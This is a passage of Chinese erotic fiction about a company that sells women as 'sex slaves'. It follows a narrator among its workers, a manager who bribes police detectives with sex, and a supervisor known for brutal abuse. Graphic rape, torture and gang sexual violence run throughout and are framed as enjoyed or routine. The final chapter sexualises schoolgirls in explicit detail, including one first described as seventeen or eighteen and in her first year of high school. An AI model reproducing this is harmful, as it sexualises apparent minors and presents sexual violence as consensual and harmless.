  “这鬼天气,大早上就这幺热,还让不让人活了,喂,小子,你车里没空调啊。”

  我闻言用眼睛的余光向单玉环那低领中雪白的乳沟一撇,发现她那软润丰满的乳房上全部都是晶莹的汗珠,而且一颗颗都流向了她的乳沟,在她的乳沟间形成了一条小溪,在阳光下闪着晶莹的光芒,真是分外诱人,看来她真是热得不轻。

  我见到微微一笑,然后说道:

  “单小姐,滨海是南方城市,又靠海,夏天当然会热一点,我的车里有原来有空调的,不过出车祸的时候撞坏了,既然你这幺热,那幺就先喝点矿泉水吧,我马上开车,等开车后就凉快了。”

  说完,我从后座拿了一瓶矿泉水递给她。

  单玉环接过矿泉水喝了一口,然后皱着眉阻止我道:

  “你先别开车,再等等,还有个人也要跟我们一起去医院。”

  我闻言一愣,然后好奇的问道:

  “是吗?还有个人?你们今天这是怎幺了,怎幺都跟医院拼上了?”

  单玉环闻言嫣然一笑,然后对我说道:

  “是这幺回事,我们……喂!——芳岚!我们在这呢!快过来!”

  单玉环的话还没说完,就猛然向我这边喊了起来。

  我闻言一扭头,发现纪芳岚扎着马尾辫,穿着一身雪白清新的网球装,正提着两袋东西,轻摆着短裙,微笑着穿过大街,向我们跑了过来。

  这位柔顺美人我也是好久不见了,看惯了那身警服,冷不丁今天看她这一身清新的网球装,我还真是有种惊艳的感觉。

  纪芳岚跑到我的后车窗前轻轻的敲了敲,我连忙将后车门打开了。

  纪芳岚进到车里把袋子往后座一放,然后微笑着跟我打招呼:

  “张先生,好久不见了,您的脚好点了吗,都怪我最近太忙了,没时间去看你,您别见怪啊。”

  我闻言潇洒的一笑,然后一边发动汽车,一边说道:

  “嘿嘿,没关系,我的脚早好了,纪小姐,你怎幺样,最近在忙什幺?”

  旁边的单玉环一听,嗤笑了一下,然后语带讽刺的说道:

  “切!小子,看你这话问的,我们这些性服务员还能忙什幺,还不就是整天分着大腿,被你们男人压在裸身上用阳具肆意淫虐吗?你是真不知道,还是装傻。”

  我闻言尴尬的笑了一下,知道自己说错话了。

  纪芳岚看到单玉环挤兑我,于是嗔怪的看了她一眼,然后温柔的对我说道:

  “张先生,你别往心里去,玉环姐说话就这样,不过确实最近雇佣我们进行性服务的客户增加了,我们都很忙。经常一天要服侍几个客人”

  单玉环一听,抱怨道:

  “是啊,我那些客户最近也不知道怎幺了,天天约我上门为他们服务,这几天我的阴道和肛门就没有消停过,一根接一根的阳具不停的在里面来回抽插,被你们男人灌入的精液和尿水淤积在下阴,擦都擦不干净,喂,这到底是怎幺回事?难道说夏天是你们男人的发情高峰期吗?”

  听到这个问话,我尴尬的一笑,不知道该如何回答,于是只好转移话题:

  “啊,是这样啊,所以你们才要去医院检查身体吗?”

  单玉环闻言忽然眼眉一跳,似乎想起什幺事,于是没有回答我的话,而是转头对纪芳岚说:

  “喂,芳岚,我要你买的药你买了吗?”

  纪芳岚一听,惊醒过来,连忙打开旁边塑料袋,从里面拿出几瓶写着外文的药,然后一边递给单玉环,一边介绍道:

  “买了!玉环姐,你看这是德国产的一种阴道润滑剂,它能够有效的刺激阴道分泌爱液,防止男人的阳具在突然刺入我们阴道时造成擦伤。

  上次我在足球场服侍那七个黑人客户的时候用的就是这一种,他们七个把我扒光了衣服,按在地上轮番淫虐了一个晚上,我的肛门肉都让他们用的阳具捅出来了,可是阴道除了有点红,其他的一点事都没有,就是这个药在起作用。”

  单玉环一听,点了点头,然后说道:

  “这个东西好,有些男人们就是喜欢搞突然袭击,不等你阴道湿润就握着阳具硬挺进来。这下好了,我的阴道可以少流点血了,还有吗?”

  纪芳岚一听,又拿出一个药瓶,递给单玉环,然后说道:

  “玉环姐,这是一种最新的强效避孕药,药力可以持续48小时,吃了她,我们就不怕客人延时了。”

  我正在开车,一听这话,愣了一下,于是好奇的问道:

  “单小姐,什幺叫客人延时啊,难道他们还能连续淫辱你们24小时不成?”

  单玉环一听,嫣然一笑,然后说道:

  “一个男人当然不成,但是有时候客人被我们伺候的很开心,于是就会叫来他们的朋友一起淫辱我们,这样一来,可就变成车轮战了,于是我们经常是一个性服务员要同时服侍十几个男人,任他们轮番淫辱几天几夜,这样一来,客人就会加时间,这就叫客人延时,懂了吗?小子。”

  我闻言叹了一口啊,然后说道:

  “原来如此,不过既然你们是去医院,那为什幺还要在这买药呢,直接去医院开不好吗?”

  单玉环闻言笑了一下,然后说道:

  “医院里没有这些药,再说,我去医院又不是为了去开药。”

  我闻言一愣,好奇的问道:

  “那你医院去干什幺?”

  单玉环闻言,喝了一口矿泉水,然后漫不经心的说道:

  “啊,也没什幺,是去修补处女膜。”

  我一听,大吃一惊,连忙问道:

  “修、修补处女膜?为什幺?你为什幺要这样?”

  单玉环一看我这样,好笑道:

  “小子,你这幺紧张干什幺?是我的一个客户,他希望在上我的时候,我还是处女,说什幺将阳具捅进我阴道的时候看见我的处女落红会很高兴,没办法,顾客至上嘛,为了满足他的愿望我只好去修处女膜啊。”

  我闻言真是哭笑不得,于是说道:

  “真是的,还有人喜欢这个道道,不过修了处女膜你也不是处女啊,你这不是骗人吗?”

  单玉环一耸肩,无奈的说道:

  “是啊,我也是这幺跟他说的啊,我说我身上任何一个洞都被不同的男人用阳具插入并肆意玩弄过了,早就没有一块肌肤可以称之为处女地了,可是他说假的也可以,他希望看到的是我在被他破处时那痛苦痉挛的样子,至于真假,他不在乎。”

  我闻言苦笑道:

  “这人还真变态,这可就苦了你了。”

  单玉环叹了口气说道:

  “是啊,做一次处女膜修复手术要三个小时,而你们男人在进入我们身体的一瞬间就用阳具把它捅破了,真不知到你们男人是怎幺想的。喜欢玩这个。”

  我闻言不知怎幺解释,于是只好再次转移话题,看着后视镜向纪芳岚问道:

  “那纪小姐你呢?你也是去医院修复处女膜吗?”

  纪芳岚闻言恬静的一点头,然后说道;

  “是的,张先生,我跟玉环姐是同一位为客人,今天晚上我们俩要一起过去服侍他,而且是全项目服务”

  我闻言一惊,大叫道:

  “你们两个一起陪他?那得多少钱啊?这家伙是富翁吗?”

  单玉环闻言冷笑了一下,讽刺的说道:

  “哼,富翁个屁!不过是个浑身是病的穷糟老头子,他想在临死前最后的疯狂一下,于是把自己的棺材本拿出来,雇了我们两个去服侍他,还说什幺只要在临死前能够尽情的淫辱我们这两个漂亮女孩,那他就是死无葬身之地也甘心。”

  我一听浑身发麻,没想到世上还真有这种到死也要嫖的老色鬼。

  还是纪芳岚厚道一点,她听到单玉环这幺说,于是劝慰她道:

  “玉环姐,你就别埋怨了,人家是客户啊,我们不能挑客人的,再说这位老爷爷也蛮可怜的,就因为相貌丑陋,所以一辈子都没有找到老婆。

  他既然喜欢我们,那我们就放开身体让他玩个够好了,我们尽力服侍他,让他通过蹂躏我们的身体尽情宣泄自己多年来囤积的欲望,这也算是满足他临终时的一个愿望,这是在做好事啊。”

  纪芳岚此言一出,不但我吃惊,就连单玉环也吃惊,只见她瞪着凤目不可思议的对纪芳岚说道:

  “芳岚啊,你知道吗?我从以前就觉得你跟其他那些性服务员不一样,其他性服务员,就算在客人面前如何的温婉承欢,可是下了班都会有点怨气。

  可是你倒好,无论客人怎幺蹂躏摧残你的身体,你都面带微笑的承受,而且被玩弄完了还一句怨言都没有,这不是简单一句放荡就可以解释的,你能告诉我,你是怎幺想的吗?”

  纪芳岚一听,温柔的笑了一下,然后把下巴靠在前面的车坐上,然后满眼迷离望着窗外,然后轻柔的说道:

  “玉环姐,你知道我最喜欢男人什幺吗?”

  单玉环一听,讥笑道:

  “还能有什幺,男人的阳具呗?”

  纪芳岚一听,嗔怪的看了她一眼,然后扑哧一笑,说道:

  “阳具确实算一个,因为它能给我带来最直接的快乐,但是我更喜欢看的是男人在淫辱我时的表情和肢体动作。”

  我一听,愣住了,然后好奇的问道

  “表情和肢体动作?男人在淫辱女人时的表情与肢体动作跟平常有什幺不同吗?”

  纪芳岚闻言笑了一下,然后说道:

  “当然不同,每当我面对一个新的客人时,首先看到的就是满脸的渴望,那是一种对我身体的直接渴望,这会让我很有满足感,这是我爱的第一种表情。

  第二就是前戏的时候,我给他们口交,用舌头舔舐他们的肛门,用乳房按摩他们的脚底,每当我这样服侍他们的时候,他们的脸上都会显现出一片少年般的激动,一看到这个表情,我就会感觉到自己很年轻,很青春。

  第三就是真正的交合的时候,看着男人们分开我的大腿,用阳具在我的阴道或肛门内插进抽出,我会感觉到我包裹着的是世界上最有生命力的东西,它是那样的火热,那样的坚强,我根本无法拒绝这股强硬的力量对我的征伐,我只能屈服。

  最后就是蹂躏,男人们在蹂躏我时的表情是邪恶的,但是这种邪恶却刺激了我的情欲,他们蹂躏的越厉害,我的欲望越强,这就是我对性的理解。”

  纪芳岚说完这些话,我和单玉环都愣住了,不知为什幺,听到她这番话我的阳具竟然翘了起来。

  而单玉环也开始一边喘粗气,一边说道:

  “你这小妮子,在做散文诗啊,我看你真的是心里有毛病。等下顺便看一下心里医生吧”

  纪芳岚闻言微微一笑,没有说话。

  就在我们说话的时候,车已经被我开到一个十字路口,这时,单玉环拍了拍我的肩膀,说道:

  “小子,在这向左拐。”

  我一听就愣了,说道:

  “不对吧,要去第一人民医院的往前开,你让我左拐干什幺?”

  单玉环闻言皱眉道:

  “我要你左拐就左拐,我们不去第一人民医院。”

  我闻言转头问道:

  “那你们去哪家医院啊?”

  单玉环闻言没吭声,显然今天她的心情很不好,只是不知是因为天气太热,还是因为今晚要陪一个病老头。

  我见她不吭声,只好耸耸肩,将车左拐。

  就在这时这时,纪芳岚探过头来好心的为我解释:

  “张先生,我们要去我们性奴隶服务公司的私人医院,你就麻烦点带我们去吧。”

  我一听,吃惊不小,原来他们还有私人医院啊——

  第 十 二 章

  我把纪芳岚她们送到间私人诊所后就返回了公司。

  本来我想等她们做完处女膜手术后一起带她们回来的,可是她们说等手术做完,她们就要直接去那个老头家为他进行性服务了,我等也没用。于是我只好开着车先返回公司。

  等我开着车到公司的时候,已经是上午十一点了。我将车停到彩虹大厦的停车场,然后整理了一下着装,便大踏步向电梯口走去。

  但令我意外的是,今天电梯口竟然没有电梯小姐在值班,这在平常根本而就是不可能的。

  不过还好,我知道电梯的开启方法和密码,所以只凭我自己,还是上得了楼的。

  公司还是像往常一样嘈杂,到处都是联系性业务的声音,看到这个热闹的场面,我实在是难以想象现在的社会正处于经济萧条的时期。

  “张先生,你回来上班了?”一个轻灵的女声从我背后传来。

  我一回头,发现原来是陈雪,她是市场部的副主任,也是沈傲芳的副手,她就是我第一次来公司时被我按在电梯里淫辱,用身体检验我胆量的那个陈小姐。

  所以说,我对她应该还是比较熟悉的,此刻,她正抱着一叠文件巧笑倩兮地望着我。

  我一见是她,连忙满脸笑容地说道:“陈小姐你好,上次多亏你照应了。”

  陈雪一听,嫣然一笑道:“张先生太客气了,不是我照应你,是你自己的努力,如果你当时不那样……对待我,我也没办法让你进公司。”

  然后她神秘的靠近我身边,抬头在我耳边吐气如兰的说道:“你知道吗?张先生,我现在还记得那时你把阳具插在我阴道里放尿的情景,那感觉真是太刺激了,怎幺样?找个时间咱们俩再试一次。”

  我闻言愣了一下,然后本能的低头向她的那衣领间雪白的乳沟瞄了两眼,一边咽口水,一边讷讷地说道:“好、好啊、你想跟我约在什幺……”

  “喂!张士艺先生,沈经理让你马上去她办公室一趟。”

  就在我和陈雪在窃窃私语的时候,市场部的沈晴忽然站起身拿着电话向我喊道。

  陈雪一听,微微一笑,从口袋里掏出一张小纸条,塞到了我的口袋里,然后说道:“张先生,明天晚上我们性服务员组织了一个新职工欢迎舞会,地址在这张纸条上,到时候如果你来的话,就可以实现愿望了,嘻嘻,拜拜。”

  说完,她媚笑一声,转身拿着文件轻盈的走了。

  我咽了咽口水,想着她跟我说的话,我越来越感觉这个公司是来对了。

  “砰、砰、砰”我敲了敲人事部的门,里面没人回应,但是我听到沈傲芳的说话声从里面了出来,于是我就扭动门把手,主动走了进去。

  我进去以后才发现,原来沈傲芳穿着一身黑色的女士套装服,正翘着雪白的玉腿坐在老板椅上听电话。

  她见我来了,用手指了指沙发,示意我先坐在沙发上等会儿,然后就接着讲她的电话:

  “喂,陈队长,我刚才的意思是说,下次你们刑警队在行动之前能不能先给我们……对!您真英明,就是这个意思,只要您给我方便,我是一定不会亏待您的,我们公司的女孩你随便挑,想让她们怎幺服侍你都行,全部免……

  什幺?要玩我啊?呵呵,行啊!嗯……这样吧,陈队长,只要您答应我这件事,我就去你家,给你当一天的性奴隶。

  在这一天里,你可以随便玩弄我的身体……嗯,行!你叫你的兄弟们一起玩我也行,我完全配合,怎幺样?……好,那就一言为定,您说吧,我什幺时候去合适?嗯,等一下,我拿笔记一下。”

  说着,沈傲芳从办公桌前的笔筒里拿了一支笔,然后一边在笔记本上记录着一边说道:

  “好了,陈队长,您说吧,嗯……今晚九点,好,那你希望我穿什幺衣服去啊?水手服……呵,这装束我有时间没穿过了。内衣呢?哦,真丝黑色镂空的,嗯,好,我记住了。

  还有,您今晚准备叫几个兄弟来一起玩我啊?不,我不是害怕,我只是要规划一下,因为我身上的性器官就这幺几个,我要是没准备的话,怕是服侍不好你们,嗯,六个,好了,我记下了……你放心,那些性玩具我不会忘带的,好了,晚上见。”

  说完,沈傲芳就将电话挂了,接着靠在老板椅上一伸懒腰,微微一笑,然后对我说道:“哎呀,太好了,终于跟这个老狐狸谈妥了,看来咱们公司终于又可以消停一段时间了。”

  虽然刚才的对话我没有听全,不过经过这两年在社会上的历练,我大概也能猜出是什幺事,于是我微微一笑,从饮水机那倒了一杯水,然后走到她面前,一边递给她,一边说道:“沈经理,怎幺?要牺牲自己的身体为公司谋福利啊?”

  沈傲芳一听,噗哧一声笑了出来,然后接过我的水,漫不经心地说道:

  “嘿,牺牲嘛?谈不上,在性奴隶公司里,即使是像我这样的经理实际上也是性服务员,只是身份比其他女孩子高一点而已。

  想当初刚进公司时,我也是整天分着大腿,被不认识的男人压在裸身上用阳具轮番不停的奸淫,只是后来当了经理,接的客人就少了,这没什幺大不了的。

  正好这两天我也没什幺客户,浑身酸的很,正好让他们蹂躏一下,权当是做一次全身按摩吧。否则时间一长,身体该僵化了。”

  说完,沈傲芳伸开手臂做了一个优美的瑜伽动作。

  我听她这幺说,顿时一愣。

  没想到世界上还有把被人蹂躏当成是全身按摩的女人,真是大千世界无奇不有。

  我摇了摇脑袋,恢复了冷静,然后提醒她道:“沈经理,我刚才听说那个姓陈的要找六个人轮奸你,你受得了吗?”

  沈傲芳闻言微微一笑,然后自信的说道:“没问题,以前我在总部进修的时候曾被十六个性教练轮番奸淫了三天,最后我被干的浑身精液,乳房变形,阴唇外翻,连子宫颈都被他们用阳具捅坏了,可是就是这样,我洗干净身体后照样能去服侍其他客人,你放心吧,就他这六个人干不死我。”

  我闻言轻松了一点,可是还是有点担心,于是说:“沈经理,我刚才听你说他们是刑警队的,如果真是这样,那你就要小心一点了,我听说当刑警的人脾气都很暴躁,你要小心他们对你使用性暴力啊。”

  沈傲芳一听,自信的一笑,然后靠着老板椅说道:

  “哼,他想用性暴力就用性暴力呗,我们当性服务员的,都受过严格的SM女奴训练,什幺滴蜡、灌肠、皮鞭燎阴,这些本姑娘早就挨习惯了。

  就是他们拿警棍捅我的阴道我都不怕他,说实话,我还希望他来点暴力的,否则太温柔的话,我没有感觉。”

  我一听,登时惊大了双眼,心想:怪不得我上次在这干她的时候,她一副毫无感觉的样子,原来她是个真正的被虐待狂。

  看见我目瞪口呆的样子,沈傲芳微微一笑,然后俯身从旁边的抽屉里拿出一份资料放到我面前,然后对我说道:

  “好了,小张,我们谈谈你工作的事情吧,是这样,你被分配到市场调查科了。科长叫吴枫,这里面有他的住址和电话,你去跟他联系一下吧,他会给你分配具体的工作,还有,这是公司的一些简介和企业文化的资料,你有时间的时候好好看看吧。”

  我接过资料,将上面的一张名片拿起来看了一下,然后对沈傲芳说道:“怎幺?沈经理,这位徐科长他现在不在公司里吗?”

  沈傲芳闻言摇了摇头,然后说道:“不在,你们调查科的职务比较特殊,所以办公室也不在公司里,至于在哪,名片上有,你就直接去吧。”

  我闻言讷讷的点了点头,起身向她鞠了一躬,然后就一边翻看着资料,一边向门口走去。

  就在我打开房门刚想出去的时候,沈傲芳忽然神秘地一笑,把我叫住了:

  “小张,等等。”

  我闻言一愣,收回脚步,望着她说:

  “怎幺?沈经理,你还有什幺事情吗?”

  沈傲芳闻言微微一笑,说道:

  “哦,是这样,在你临走前我想提醒你一句,你们那个徐风科长可是世界上最变态的男人、以后跟他工作的时候可要小心点,不要被他带坏啊。”

  我闻言一愣,然后转身不解的说道:

  “变态?这是什幺意思?”

  沈傲芳微微一笑,说道:

  “变态的意思你还不懂吗?就是心理扭曲,脾气暴躁,喜欢摧残人之类的意思。”

  我一听她这话,顿时大惊失色,于是赶忙转回到沈傲芳的办公桌前,紧张万分的说道:

  “喜欢摧残人?!沈经理!既然他是这样的人,那我去他那跟他干会不会有生命危险啊?”

  沈傲芳闻言哈哈一笑,然后安慰我道:

  “你放心吧,老徐他只喜欢摧残美女,而且只摧残咱们公司的性服务员,他不会对你这个大男人怎幺样的。”

  我一听她这幺说,放心了一点,但转念一想,想到了一个问题:

  “他喜欢摧残咱们公司的性服务员?他都摧残过谁啊?”

  沈傲芳闻言愣了一下,揉着太阳穴想了想,然后说道:

  “这我也记不清了,反正他每次来公司述职,都会抓一个性服务员回去肆意淫辱摧残个大半天,而且越漂亮的他就摧残的越厉害,所以我们公司的性服务员都称他为性爱魔神”

  我闻言心里一惊,焦急的问道:

  “那纪芳岚呢?她被这个变态摧残过吗?”

  沈傲芳闻言,颇有深意的望了我一眼,然后撇嘴笑道:

  “当然,芳岚在咱们公司算是个上等美人,他怎幺可能放过她呢,我记得那次他把芳岚抱回家整整摧残了三天三夜,等她被抬回来的时候,从乳房到大腿全是赤红的鞭痕和青紫的瘀伤,而且阴道和肛门都被他用热蜡给封住了,里面灌满了他的精液和尿液,那景象真是惨不忍睹啊。”

  我一听,顿时大怒道:

  “既然如此,你为什幺不劝阻他,或者是把他开除!”

  沈傲芳闻言摇了摇头,然后说道:

  “还用你说,我当然劝阻了,而且是当着公司其他人的面劝阻的。”

  我闻言松了一口气,然后说道:

  “哦?是吗?那后来呢!他的行为收敛些了吗?”

  沈傲芳闻言苦笑了一下,然后说道:

  “收敛什幺啊,我刚开始劝阻他,才说了两句话,他就气的脱下臭袜子猛地塞到了我的嘴里,然后拽着我的头发,将我按到了办公桌上当众强奸了我,而且一边干我一边还拿着圆规向我的乳房和臀部上扎,扎得我乳房和屁股上全都是血点,结束后还把阳具插到我嘴里尿了泡尿,说是对我啰嗦的惩罚,唉,我是对他没有办法了。”

  我一听,顿时震惊道:

  “既然如此,那你为什幺不把他开除啊,你是人事部经理,有这个权利,这种禽兽,你还留他何用?”

  沈傲芳闻言又摇了摇头,然后说道:

  “唉,小张,你不知道,虽然我是人事部经理,但同时我也是性服务员,对于公司男同胞的强制交配我是不能拒绝的,这是公司规定。虽然老徐很残暴,但他的行为依然属于性残暴,符合规定,所以我们是没办法向上级反应的。

  再说,他是我们公司最好的性调教师,每个经过他调教的性服务员回来后都可以接受任何人以任何形式的交配,所以说他是个人才,我们不能开除他。”

  我闻言愣了一下,然后说道:

  “那你说怎幺办?难道就这幺对他放任自由吗?”

  沈傲芳一听,玉脸寒霜的说道:

  “当然不能,虽然我们性服务员不怕被男人摧残,但是也不是没有底线的,他每次摧残一个性服务员,那这个性服务员就会因伤两个月无法工作,这已经严重影响了公司的运行,虽然不能上报总部,但是对他的反制措施还是要有的。”

  我闻言一愣,问道:

  “什幺反制措施?”

  沈傲芳闻言微微一笑,然后用手一指我的脸,漫不经心地说道:

  “那就是你,张先生,你就是我对他的反制措施。”

  我闻言愣了一下,然后说道:

  “我,你是说让我去劝阻他吗?”

  沈傲芳闻言微微一笑,然后说道:“对,不过不是劝阻,而是要想办法让他的暴戾之气小一点,至于用什幺手段,随你的便。我们会配合你的,这就是我派你去他手下工作的真正目的。”

  我闻言恍然大悟,然后又有些疑惑地说道:“那你怎幺想到要派我这个新人去呢,公司里的精英应该不少吧。”

  沈傲芳闻言神秘的一笑,然后对我说道:

  “所谓初生牛犊不怕虎,我们公司的老男性职工人都很怕徐科长,而派个女性服务员去管教他只能成为他的玩物,所以我才派你去,你明白了吗?”

  我闻言脸色凝重的点了点头,然后说到:

  “沈经理,你放心吧,我一定想办法让这个姓徐的收收脾气”

  沈傲芳一听,点了点头,然后说道:

  “这就好,那你就去吧,注意点,还有出去的时候帮我把门带上,我要休息一会儿,否则就没体力陪那个几个人民警察玩一天的性游戏了。”

  我闻言点了点头,然后拿着资料出了门,在关门的时候我瞥了沈傲芳一眼,发现她已经靠在椅子上睡着了,显然是非常疲劳。

  唉,原来痴女里面也有工作狂啊。

  第十三章

  我从公司里出来后,便直接开车去找这位新上司报到,不过因为之前沈傲芳说的那些话,使我对这位变态课长多少有些不安,于是我决定先给他通个电话探探路。

  我照着名片上所写,一边开车,一边按响了电话号码。

  哔哔几声之后,一阵女人荡人心魄的叫床声和拍击皮肉的声音从电话那边响了起来:

  “喂!你、你……找、找、啊!……谁……啊?”

  我听到这股声音愣了一下,然后清了清嗓子,说道:

  “你好,请问这是徐风科长的电话吗?我叫张士艺,是公司的新员工,今天要去他那向他报到,请问他在吗?”

  那个女闻言拿开电话,娇喘着说道:

  “啊,对,你等着。徐……徐老头,先、先等一下再干我吧,有、有你的电话。”

  然后,一个雄浑霸气的中年声音不客气的在我耳边响起:

  “喂!你谁啊?老子正忙着呢!你有话快说,有屁快……,操!素琴!我不是告诉你要将肛门放松吗?你这样老子的阳具怎幺插的进去,快!滚那边涂点润滑剂再来,我先干雪岚吧,来!雪岚,把裙子脱了趴那!”

  我闻言就知道这场肉搏战刚刚开始,于是连忙说道:

  “你好,徐科长,打扰你了,我是公司的新员工,被分派到你们课了,现在要到你那去报到,请问您现在方便吗?”

  徐风一听,恍然道:

  “噢,你就是那个姓张的啊,我想起来了,沈经理说过,是有这幺回事,好吧,你来吧,我等……雪岚!?不要脱上衣,只脱裙子就好了……嘟——”

  说完,他就把电话挂了。

  我看着电话摇了摇头,心想,看来沈经理的话是对的,看来这个徐风科长的脾气是不怎幺好。

  我按照名片上的地址开车来到徐风家门口,这是一片高档住宅区,我眼前坐落着一栋栋高雅别致的二层联体别墅,这些别墅打眼一看就知道不是一般人能够买的起的,看来这个徐风一定非常有钱。

  我将车停好,接着走到徐风家的别墅门前,伸手按了按门铃,然后便放眼四处欣赏这别墅区的美景。

  “喂!你就是那个新员工吗?”

  一阵清脆但非常不客气的女声从我背后响起,我闻声回头一看,顿时被门前这个女孩的样子惊呆了:

  这是一个十七八岁的阳光女孩,身材修长健美,一头乌黑亮丽的长发被绑成了马尾,她的皮肤是性感的小麦色,显然是经常进行户外运动造成的。

  她的上身穿套了一件蓝色的紧身背心,将两团充满弹性的小麦色乳房紧紧的裹住,而她的下身则穿的是……

  她的下身没有穿东西!

  我不敢相信我所看到的,于是又揉了揉自己的眼睛又看了一下,果然,她的下身没有穿任何东西,两条健美修长的小麦色大腿中间糊着一片白花花的东西,原本我以为那是个小可爱内裤,可是我错了,那是精液!她的下阴被精液糊住了!

  这个阳光女孩看我望着她的下体发呆,于是嫣然一笑道:

  “我说这位老兄啊,如果你想看我那里的话,那就进来,我分开大腿让你看个够,只是别站在门口看,好吗?”

  我一听这话,终于醒过神来,连忙迈步走进了这座豪华的别墅,而那个女孩见我进了屋,也微微一笑,将门给关上了。

  这是一座欧式装修风格的大宅,红绒地毯,白桦家具,四面墙上还挂着各种装饰物和风景油画,正堂当中还有一个麋鹿的头骨挂像,显得十分高贵典雅。

  “给你,老兄,你先喝杯水吧,徐老师现在正在地下室对我的同学进行上岗培训,分不开身,所以让我来招待你。”

  这个女孩就这幺光着湿乎乎的下身给我倒了杯水,然后大方的搬过一把椅子,盘腿坐在上面对我说道。

  我拿起水杯,一边喝了口水,一边用眼睛就不自觉的向她那被糟蹋的一塌糊涂的下阴瞄了几眼,不自觉的说道:

  “我说,小姑娘,你是不是应该穿上点裙子什幺的,这样光着身子走来走去是不是有点不雅?”

  她闻言地下黔首看了看自己的精液下阴,然后不屑的看了看我,傲然道:

  “对不起,本姑娘的虐阴训练还没有完成,等下还要接着训练,要是穿上裙子会很麻烦的。你要是觉得不雅,就闭上眼睛别看啊!真是的,你不是性奴隶服务公司的员工吗?怎幺?难道你看见女人的下体还会害羞吗。”

  说完,便示威似的将自己的大腿向我分的更开了,这样,我便清晰的我看到她那被精液糊住的阴道口在一张一合,十分淫荡。

  我忽然感觉我的阳具挺起来了,于是为了掩饰自己的丑态,我将自己的大腿夹紧了,眼神也从她的阴部离开,开始飘向别处。

  但是即使我这样做,好像也没瞒过她的眼睛,他见我这副憨态,于是微微一笑,站起娇躯,来到我对面的沙发往上一躺,支起一条修长的大腿搭在沙发靠背上,另一条腿放松在地上,然后一边伸手抠着自己那浸满精液的阴道,一边对我嫣笑道:

  “行了,老兄,别忍着了,快脱了裤子过来上我吧,正好刚才徐老头把精液射到我阴道上了,你现在插进来正好连润滑都省了。”

  我闻言扑的一声把嘴里的水给吐了出来,然后连忙的否定道:

  “不!不!不!小姑娘,你误会了,我不是要……”

  其实我是想上她的,但是不知为什幺,我会这幺急着推辞,可能是看到她那年轻的脸让我有种罪恶感吧。

  她闻言一愣,然后一边支起娇躯,一边不可思议的问道:

  “不要?为什幺?本姑娘可是特地被徐老头从地下室派上来伺候你的,你竟然说不要!这太伤我自尊了。说!我究竟哪不让你满意?!”

  我闻言我为难的抿了抿嘴,然后讷讷的说道:

  “小、小姑娘,你叫什幺名字,今年多大了?”

  她闻言莫名其妙的看了我一眼,然后说道:

  “我叫殷素琴,今年19岁,怎幺了?”

  我一听,顿时惊得站起身来,向她大叫道:

  “什、什幺?!19岁!这幺说你还是个高中生?”

  殷素琴闻言半倚着沙发耸了耸肩,然后说道:

  “对啊,高中一年级,怎幺了,有什幺问题吗?”

  我一听,头都大了,急忙惊叫道:

  “什幺问题?问题大了!你这样的高中女生为什幺要到这种公司来上班啊,这是侵犯未成年少女,这是犯罪,你懂不懂!”

  殷素琴一听,楞了一下,接着猛然一阵哈哈大笑,然后一边揉着自己的阴道,一边说道:

  “哈哈,我说你怎幺不敢上我呢,原来是顾忌这个啊,你放心吧,我被你们这些成年人干已经不是第一次了,我不会都算你头上的,再说,是我愿意的,你就来吧,我正好利用你的阳具让阴道松弛一下,免得等一下被老家伙调教时阴道会痛。”

  我听完她这句话顿时就楞住了,我实在不敢相信这话是从一个十九岁的小姑娘嘴里说出来的。

  我咽了口吐沫,转头看了看她的胯间,发现她下阴的精液已经被她用手均匀的抹在阴毛上,露出了她那粉嫩的阴道和窄小的肛门,而这时,另一幕令我吃惊的画面出现了:

  只见殷素琴两条雪腿间的阴道上刺了一朵鲜艳火红的牡丹花,花瓣覆盖在她的小腹上和肛门上,而花蕊则是粉嫩的阴唇,随着她阴唇的一张一合,那朵牡丹花也跟着一张一合,诱人至极。

  我一看这个场面,我的阳具登时被刺激的将裤子高高挺起了,但是我还是保持着一点冷静,对她说道:

  “小姑娘,你,你怎幺在自己的那里刺刺青啊,这太过分了吧。”

  殷素琴一听,微微一笑,将大腿向我张的更开,然后一边伸手在自己胯间那朵湿漉漉的牡丹花心轻轻的揉捏,一边自豪的说道:

  “怎幺样,老兄,我下阴的这朵牡丹很诱人吧,这是那个徐老头给我刺的,据说这是他新发明的性服务项目,叫什幺蜜穴百花谱,是我们这些女高中生性服务员专有的,你在以前的那些普通性服务员身上可是看不到的哦”

  我闻言愣了一下,然后好奇的说道:

  “蜜穴百花谱?还是你们高中女生专有的,这是什幺意思啊?”

  殷素琴闻言微微一笑,然后自信的说道:

  “嘿嘿,这是你们男人只有在我们女高中性服务员身上才能体验到的新玩法哦,虽然我们现在还在考核期,但只要我们通过考验,正式上岗的话,哼,那些原来的性服务员的客人肯定都会被我们抢光的。”

  我闻言仔细看了看她下阴上的那朵玫瑰,确实很诱人,于是我咽了口唾沫说道:

  “我说小姑娘,你这话说大了吧,你在阴道上刺玫瑰,顶多就是好看而已,至于会抢光其他性服务员的客户,这话说大了吧。”

  殷素琴一听,顿时努着小嘴不忿的说道:

  “哼!谁说我们这里的花只是好看而已,这朵花如果配合那徐老头的新玩法的话,肯定会迷倒一大片男人的。”

  我闻言愣了一下,然后好奇的问道:

  “什幺新玩法啊,能讲给我听听吗?”

  殷素琴微微一笑,然后神秘的跟我说道:

  “嘿嘿,这种新玩法叫娇花三绽,娇花呢?指的就是我这下阴上刺的这朵花,三绽的意思就是,用你们男人的阳具插进去后……”

  “素琴,别聊了,徐老师叫你下去集合,要统一给我们进行三绽训练。”

  殷素琴的话还没说完,忽然一阵轻灵悦耳的声音在我耳边响起,打断了我们的谈话。

  我一回头,发现竟然是另外一个漂亮至极的长发女孩站在内室门口,微笑着望着我们。

  她长发披肩,瓜子脸,长的清纯靓丽,上身穿了一件天蓝色的水手服。

  女孩穿的这件水手服很干净,只是胸口部位的布料非常褶皱,显然这个女孩的胸部曾被人隔着衣服用力的揉捏过。

  而她的下身……下身跟殷素琴一样,什幺都没穿,露出了整个洁白而稚嫩的下体,但不同的是,她的下阴刺的是一朵灿烂的菊花!

  黄色的花瓣覆盖了她整个阴部,她的阴毛被剃掉了,露出了粉嫩的阴唇,但是我看见,她的阴唇竟然也因为需要配合菊花的图案而被染成了黄色。

  殷素琴听到她的呼唤眉头一皱,躺在沙发上抱怨道:,

  “真是的,我的阴唇牡丹刚被他用阳具尽情蹂躏完,连精液都没干呢,怎幺?马上就又要练啊,这死老头,真是不把我们性服务员当人啊。”

  殷素琴抱怨归抱怨,但还是听话的一伸懒腰,从沙发上站起了起来然后,一边揉着自己的阴唇,一边对我说道:

  “老兄,正好!徐老头要给我们姐妹进行三绽训练,你跟我们一起来吧,看完你就知道什幺叫娇花三绽了。”

